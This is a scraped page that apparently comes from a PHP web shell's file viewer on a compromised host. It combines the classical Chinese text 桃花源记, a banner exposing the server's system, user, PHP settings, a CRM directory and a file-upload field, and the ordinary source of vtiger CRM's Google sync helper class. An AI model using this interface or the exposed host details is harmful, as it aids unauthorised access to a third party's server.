晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/public_html/crm/modules/Google/helpers/ |
Upload File : |
<?php
/* +***********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
* *********************************************************************************** */
class Google_Utils_Helper {
const settings_table_name = 'vtiger_google_sync_settings';
const fieldmapping_table_name = 'vtiger_google_sync_fieldmapping';
/**
* Updates the database with syncronization times
* @param <sting> $sourceModule module to which sync time should be stored
* @param <date> $modifiedTime Max modified time of record that are sync
*/
public static function updateSyncTime($sourceModule, $modifiedTime = false, $user = false) {
$db = PearDatabase::getInstance();
self::intialiseUpdateSchema();
if(!$user)
$user = Users_Record_Model::getCurrentUserModel();
if (!$modifiedTime) {
$modifiedTime = self::getSyncTime($sourceModule, $user);
}
if (!self::getSyncTime($sourceModule, $user)) {
if ($modifiedTime) {
$db->pquery('INSERT INTO vtiger_google_sync (googlemodule,user,synctime,lastsynctime) VALUES (?,?,?,?)', array($sourceModule, $user->id, $modifiedTime, date('Y-m-d H:i:s')));
}
} else {
$db->pquery('UPDATE vtiger_google_sync SET synctime = ?,lastsynctime = ? WHERE user=? AND googlemodule=?', array($modifiedTime, date('Y-m-d H:i:s'), $user->id, $sourceModule));
}
}
/**
* Creates sync table if not exists
*/
private static function intialiseUpdateSchema() {
if (!Vtiger_Utils::CheckTable('vtiger_google_sync')) {
Vtiger_Utils::CreateTable('vtiger_google_sync', '(googlemodule varchar(50),user int(10), synctime datetime,lastsynctime datetime)', true);
}
}
/**
* Gets the max Modified time of last sync records
* @param <sting> $sourceModule modulename to which sync time should return
* @return <date> max Modified time of last sync records OR <boolean> false when date not present
*/
public static function getSyncTime($sourceModule, $user = false) {
$db = PearDatabase::getInstance();
self::intialiseUpdateSchema();
if(!$user)
$user = Users_Record_Model::getCurrentUserModel();
$result = $db->pquery('SELECT synctime FROM vtiger_google_sync WHERE user=? AND googlemodule=?', array($user->id, $sourceModule));
if ($result && $db->num_rows($result) > 0) {
$row = $db->fetch_array($result);
return $row['synctime'];
} else {
return false;
}
}
/**
* Gets the last syncronazation time
* @param <sting> $sourceModule modulename to which sync time should return
* @return <date> last syncronazation time OR <boolean> false when date not present
*/
public static function getLastSyncTime($sourceModule) {
$db = PearDatabase::getInstance();
self::intialiseUpdateSchema();
$user = Users_Record_Model::getCurrentUserModel();
$result = $db->pquery('SELECT lastsynctime FROM vtiger_google_sync WHERE user=? AND googlemodule=?', array($user->id, $sourceModule));
if ($result && $db->num_rows($result) > 0) {
$row = $db->fetch_array($result);
return $row['lastsynctime'];
} else {
return false;
}
}
/**
* Get the callback url for a module
* @global type $site_URL
* @param <object> $request
* @param <array> $options any extra parameter add to url
* @return string callback url
*/
static function getCallbackUrl($request, $options = array()) {
global $site_URL;
$callback = rtrim($site_URL, '/') . "/index.php?module=".$request['module']."&view=List&sourcemodule=".$request['sourcemodule'];
foreach ($options as $key => $value) {
$callback.="&" . $key . "=" . $value;
}
return $callback;
}
/**
* To get users currently in sync with Google
* @global type $adb
* @return type
*/
public static function getSyncUsers(){
global $adb;
$users = array();
$result = $adb->pquery("SELECT DISTINCT userid FROM vtiger_google_oauth2", array());
if($result && $adb->num_rows($result)) {
while($resultrow = $adb->fetch_array($result)) {
$users[] = $resultrow['id'];
}
}
return $users;
}
static function hasSettingsForUser($userId,$source_module) {
$db = PearDatabase::getInstance();
$sql = 'SELECT 1 FROM ' . self::settings_table_name . ' WHERE user = ? AND module = ?';
$result = $db->pquery($sql, array($userId,$source_module));
if($db->num_rows($result) > 0){
return true;
}
return false;
}
static function saveSettings($request) {
$db = PearDatabase::getInstance();
$user = Users_Record_Model::getCurrentUserModel();
$userId = $user->getId();
$source_module = $request->get('sourcemodule');
$google_group = $request->get('google_group');
$sync_direction = $request->get('sync_direction');
if(Google_Utils_Helper::hasSettingsForUser($userId,$source_module)) {
$sql = 'UPDATE ' . self::settings_table_name . ' SET clientgroup = ?, direction = ? WHERE user = ? AND module = ?';
$params = array($google_group,$sync_direction,$userId,$source_module);
$db->pquery($sql, $params);
} else {
$sql = 'INSERT INTO ' . self::settings_table_name . '(user,module,clientgroup,direction) VALUES (?,?,?,?)';
$params = array($userId,$source_module,$google_group,$sync_direction);
$db->pquery($sql, $params);
}
}
static function saveFieldMappings($sourceModule, $fieldMappings) {
$db = PearDatabase::getInstance();
$user = Users_Record_Model::getCurrentUserModel();
$sql = 'SELECT 1 FROM ' . self::fieldmapping_table_name . ' WHERE user = ?';
$res = $db->pquery($sql,array($user->getId()));
$sqlParams = array();
if($db->num_rows($res)) {
$sql = 'DELETE FROM ' . self::fieldmapping_table_name . ' WHERE user = ?';
$db->pquery($sql,array($user->getId()));
}
$sql = 'INSERT INTO ' . self::fieldmapping_table_name . ' (vtiger_field,google_field,google_field_type,google_custom_label,user) VALUES ';
foreach($fieldMappings as $fieldMap) {
$fieldMap['user'] = $user->getId();
$values = '(' . generateQuestionMarks($fieldMap) . '), ';
$params = array();
foreach($fieldMap as $field) {
$params[] = $field;
}
$sqlParams = array_merge($sqlParams,$params);
$sql .= $values;
}
$sql = rtrim($sql,', ');
$db->pquery($sql,$sqlParams);
}
static function getSelectedContactGroupForUser($user = false) {
if(!$user) $user = Users_Record_Model::getCurrentUserModel();
$userId = $user->getId();
if(!Google_Utils_Helper::hasSettingsForUser($userId,'Contacts')) {
return ''; // defaults to all - other contacts groups
} else {
$db = PearDatabase::getInstance();
$sql = 'SELECT clientgroup FROM ' . self::settings_table_name . ' WHERE user = ? AND module = ?';
$result = $db->pquery($sql, array($userId,'Contacts'));
return $db->query_result($result, 0, 'clientgroup');
}
}
static function getSyncDirectionForUser($user = false, $module = 'Contacts') {
if(!$user) $user = Users_Record_Model::getCurrentUserModel();
if(!Google_Utils_Helper::hasSettingsForUser($user->getId(),$module)) {
return '11'; // defaults to bi-directional sync
} else {
$db = PearDatabase::getInstance();
$sql = 'SELECT direction FROM ' . self::settings_table_name . ' WHERE user = ? AND module = ?';
$result = $db->pquery($sql, array($user->getId(),$module));
return $db->query_result($result, 0, 'direction');
}
}
static function getFieldMappingForUser($user = false) {
if(!$user) $user = Users_Record_Model::getCurrentUserModel();
$db = PearDatabase::getInstance();
$fieldmapping = array(
'salutationtype' => array(
'google_field_name' => 'gd:namePrefix',
'google_field_type' => '',
'google_custom_label' => ''
),
'firstname' => array(
'google_field_name' => 'gd:givenName',
'google_field_type' => '',
'google_custom_label' => ''
),
'lastname' => array(
'google_field_name' => 'gd:familyName',
'google_field_type' => '',
'google_custom_label' => ''
),
'title' => array(
'google_field_name' => 'gd:orgTitle',
'google_field_type' => '',
'google_custom_label' => ''
),
'account_id' => array(
'google_field_name' => 'gd:orgName',
'google_field_type' => '',
'google_custom_label' => ''
),
'birthday' => array(
'google_field_name' => 'gContact:birthday',
'google_field_type' => '',
'google_custom_label' => ''
),
'email' => array(
'google_field_name' => 'gd:email',
'google_field_type' => 'home',
'google_custom_label' => ''
),
'secondaryemail' => array(
'google_field_name' => 'gd:email',
'google_field_type' => 'work',
'google_custom_label' => ''
),
'mobile' => array(
'google_field_name' => 'gd:phoneNumber',
'google_field_type' => 'mobile',
'google_custom_label' => ''
),
'phone' => array(
'google_field_name' => 'gd:phoneNumber',
'google_field_type' => 'work',
'google_custom_label' => ''
),
'homephone' => array(
'google_field_name' => 'gd:phoneNumber',
'google_field_type' => 'home',
'google_custom_label' => ''
),
'mailingaddress' => array(
'google_field_name' => 'gd:structuredPostalAddress',
'google_field_type' => 'home',
'google_custom_label' => ''
),
'otheraddress' => array(
'google_field_name' => 'gd:structuredPostalAddress',
'google_field_type' => 'work',
'google_custom_label' => ''
),
'description' => array(
'google_field_name' => 'content',
'google_field_type' => '',
'google_custom_label' => ''
)
);
$sql = 'SELECT vtiger_field,google_field,google_field_type,google_custom_label FROM ' . self::fieldmapping_table_name . ' WHERE user = ?';
$result = $db->pquery($sql,array($user->getId()));
for($i=0;$i<$db->num_rows($result);$i++) {
$row = $db->fetch_row($result);
$fieldmapping[$row['vtiger_field']] = array(
'google_field_name' => $row['google_field'],
'google_field_type' => $row['google_field_type'],
'google_custom_label' => $row['google_custom_label']
);
}
return $fieldmapping;
}
public static function getSelectedCalendarForUser($user = false) {
if(!$user) $user = Users_Record_Model::getCurrentUserModel();
$userId = $user->getId();
if(!Google_Utils_Helper::hasSettingsForUser($userId,'Calendar')) {
return 'primary'; // defaults to primary calendar
} else {
$db = PearDatabase::getInstance();
$sql = 'SELECT clientgroup FROM ' . self::settings_table_name . ' WHERE user = ? AND module = ?';
$result = $db->pquery($sql, array($userId,'Calendar'));
return $db->query_result($result, 0, 'clientgroup');
}
}
public static function errorLog() {
$i = 0;
$debug = debug_backtrace();
array_shift($debug);
foreach ($debug as $value) {
$error.= "\t#".$i++.' File : '.$value['file'].' || Line : '.$value['line'].' || Class : '.$value['class'].' || Function : '.$value['function']."\n";
}
$fp = fopen('logs/googleErrorLog.txt','a+');
fwrite($fp, "Debug traced ON ".date('Y-m-d H:i:s')."\n\n");
fwrite($fp, $error);
fwrite($fp, "\n\n");
fclose($fp);
}
static function toGoogleXml($string) {
$string = str_replace('&', '&amp;', $string);
$string = str_replace('<', '&lt;', $string);
$string = str_replace('>', '&gt;', $string);
return $string;
}
static function saveSyncSettings($request) {
$db = PearDatabase::getInstance();
$user = Users_Record_Model::getCurrentUserModel();
$userId = $user->getId();
$source_module = $request->get('sourcemodule');
$google_group = $request->get('google_group');
$sync_direction = $request->get('sync_direction');
if($request->get('enabled') == 'on' || $request->get('enabled') == 1) {
$enabled = 1;
} else {
$enabled = 0;
}
if(Google_Utils_Helper::hasSettingsForUser($userId,$source_module)) {
$sql = 'UPDATE ' . self::settings_table_name . ' SET clientgroup = ?, direction = ?, enabled = ? WHERE user = ? AND module = ?';
$params = array($google_group,$sync_direction,$enabled,$userId,$source_module);
$db->pquery($sql, $params);
} else {
$sql = 'INSERT INTO ' . self::settings_table_name . ' VALUES (?,?,?,?,?)';
$params = array($userId,$source_module,$google_group,$sync_direction,$enabled);
$db->pquery($sql, $params);
}
}
/**
* Function to check if the sync is enabled for a module and for user given
* @param <string > $module
* @param <Users_Record_Model> $user
* @return <boolean> true/false
*/
static function checkSyncEnabled($module, $user = false) {
if(!$user) $user = Users_Record_Model::getCurrentUserModel();
$userId = $user->getId();
if(!Google_Utils_Helper::hasSettingsForUser($userId,$module)) {
return true; // defaults to enabled
} else {
$db = PearDatabase::getInstance();
$sql = 'SELECT enabled FROM ' . self::settings_table_name . ' WHERE user = ? AND module = ?';
$result = $db->pquery($sql, array($userId,$module));
$enabled = $db->query_result($result, 0, 'enabled');
}
if($enabled == 1) {
return true;
}
return false;
}
}